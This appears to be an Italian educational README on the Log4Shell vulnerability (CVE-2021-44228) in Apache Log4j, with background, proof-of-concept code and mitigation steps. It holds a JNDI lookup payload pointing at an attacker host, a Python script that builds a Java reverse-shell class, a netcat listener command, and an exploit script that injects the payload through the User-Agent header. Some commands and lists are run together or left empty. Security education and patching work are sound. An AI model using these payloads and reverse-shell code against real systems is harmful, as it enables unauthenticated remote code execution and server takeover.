
Analisi educativa di CVE-2021-44228 (Log4Shell) con script PoC, analisi del vettore d'attacco e linee guida per la mitigazione per comprendere e testare la vulnerabilità critica RCE in Apache Log4j.
Impatto Critico (CVSS 10.0) | Scoperta nel 2021, questa falla in Apache Log4j permette l'esecuzione remota di codice (RCE) e colpisce milioni di sistemi globali. Ancora oggi, è un promemoria chiave per la cybersecurity!
CVE-2021-44228, conosciuta come Log4Shell, è una vulnerabilità critica di Esecuzione Remota di Codice (RCE) nella libreria di logging Apache Log4j 2. Questa falla permette ad attaccanti malintenzionati di eseguire codice arbitrario su server vulnerabili semplicemente inviando una stringa di testo appositamente costruita che l'applicazione registra.
Log4Shell non è sola; ha portato a CVE-2021-45046 (RCE/DoS), CVE-2021-45105 (DoS) e CVE-2021-4104 (RCE in Log4j 1.2).
Il nucleo del problema è la gestione non sicura di JNDI (Java Naming and Directory Interface) in Log4j, che risolve lookup remoti senza sanitizzazione.
${jndi:ldap://atacante.com:1389/Exploit}
Come funziona:
${...} e attiva un lookup JNDI.Protocolli sfruttabili: LDAP, RMI, DNS, IIOP, ecc. Ciò abilita minacce come:
Catena di Infezione (Kill Chain):
Statistiche di Impatto:
90% degli ambienti cloud esposti inizialmente.
⚠️ Avvertenza: Questo contenuto è esclusivamente a scopo educativo e per test autorizzati. Non usarlo su sistemi senza permesso esplicito. Sfruttare vulnerabilità senza autorizzazione è illegale (es. viola leggi come CFAA negli USA). Esegui sempre pentesting etico.
Basato su repository pubblici come kozmer/log4j-shell-poc, ecco una panoramica semplificata di un PoC in ambienti controllati (es. Docker/VM locale).
git clone https://github.com/kozmer/log4j-shell-poc.git && cd log4j-shell-poc/docker build -t log4j-vuln . && docker run --network host -p 8080:8080 log4j-vuln/usr/bin/jdk1.8.0_202).#!/usr/bin/env python3
import argparse
from colorama import Fore, init
import subprocess
import threading
from pathlib import Path
import os
from http.server import HTTPServer, SimpleHTTPRequestHandler
CUR_FOLDER = Path(__file__).parent.resolve()
def generate_payload(userip: str, lport: int) -> None:
program = f"""
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.Socket;
public class Exploit {{
public Exploit() throws Exception {{
String host="{userip}";
int port={lport};
String cmd="/bin/sh";
Process p = new ProcessBuilder(cmd).redirectErrorStream(true).start();
Socket s = new Socket(host, port);
// ... (código de shell inversa simplificado)
}}
}}
"""
p = CUR_FOLDER / "Exploit.java"
try:
p.write_text(program)
subprocess.run([f"{CUR_FOLDER}/jdk1.8.0_202/bin/javac", str(p)])
print(Fore.GREEN + '[+] Clase Exploit generada exitosamente')
except Exception as e:
print(Fore.RED + f'[-] Error: {e}')
# ... (funciones para LDAP server y web server similares al original)
def main():
init(autoreset=True)
print(Fore.BLUE + "[!] PoC Educativa para CVE-2021-44228 - ¡Úsala solo en labs!")
# Argumentos: --userip localhost --webport 8000 --lport 9001
# Lanza LDAP, web server y genera payload
if __name__ == "__main__":
main()
python3 poc.py --userip 127.0.0.1 --webport 8000 --lport 9001nc -lvnp 9001 - Monitora la shell inversa.${jndi:ldap://127.0.0.1:1389/a} in un campo di login/ricerca.PoC Semplice in Python (Listener + Exploit): Per demo rapide, usa questo duo di script (esegui prima il listener).
listener.py:
import socket
import threading
def start_listener(ip, port):
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.bind((ip, port))
server.listen(1)
print(f"[*] Listener en {ip}:{port}...")
conn, addr = server.accept()
print(f"[+] Conexión de {addr}")
data = conn.recv(4096)
print(data.decode('utf-8', errors='ignore'))
conn.close()
if __name__ == "__main__":
threading.Thread(target=start_listener, args=("0.0.0.0", 1389)).start()
input("Presiona Enter para detener...\n") # Mantiene vivo
exploit.py:
import requests
import argparse
def send_exploit(target, lhost, lport):
payload = f"${{jndi:ldap://{lhost}:{lport}/Exploit}}"
headers = {'User-Agent': payload}
try:
r = requests.get(target, headers=headers, timeout=10)
print(f"[+] Enviado a {target} | Status: {r.status_code}")
except Exception as e:
print(f"[!] Error: {e}")
if __name__ == "__main__":
parser = argparse.ArgumentParser()
parser.add_argument("-t", "--target", required=True)
parser.add_argument("-l", "--lhost", required=True)
parser.add_argument("-p", "--lport", type=int, default=1389)
args = parser.parse_args()
send_exploit(args.target, args.lhost, args.lport)
Esecuzione: python3 listener.py & python3 exploit.py -t "http://target:8080" -l "127.0.0.1"
Note: Richiede Marshalsec per LDAP simulato. Prova solo in laboratori isolati.
Agisci subito! Log4Shell è evitabile con aggiornamenti e configurazioni.
mvn dependency:tree o Snyk.-Dlog4j2.formatMsgNoLookups=trueLOG4J_FORMAT_MSG_NO_LOOKUPS=truelog4j2.xml, aggiungi <Configuration xmlns:log4j="..."> <property name="log4j2.formatMsgNoLookups" value="true"/></Configuration>zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
${jndi:*} (es. regole in ModSecurity o Cloudflare).Per CVE Derivate:
Questo README.md è per scopi educativi e di sensibilizzazione sulla cybersecurity. Non promuove attività illegali. Se sei un professionista della sicurezza, valuta il tuo ambiente con strumenti come OWASP Dependency-Check. Mantieni i tuoi sistemi aggiornati per un mondo più sicuro! 🔒
Ultimo aggiornamento: Basato su dati fino al 2023. Verifica le fonti ufficiali per le novità.
| Caratteristica | Dettaglio |
|---|
| Punteggio CVSS v3.1 | 10.0 (CRITICO) 🔥 - Massima gravità possibile. |
| Versioni Affette | Log4j 2.0-beta9 a 2.14.1 (incluse derivazioni fino a 2.16.0 per sub-CVE). |
| Causa Radice | Sostituzione di messaggi JNDI senza validazione; lookup remoti abilitati. |
| Vettori | Remoto, non autenticato; colpisce Java 8+ in app web/cloud. |
| Prodotti Colpiti | Apache Struts, Solr, Druid, Elasticsearch, Dubbo, VMware vCenter, e altri. |
| Sfruttamento | Facile: PoC pubblici su GitHub; non necessita privilegi. |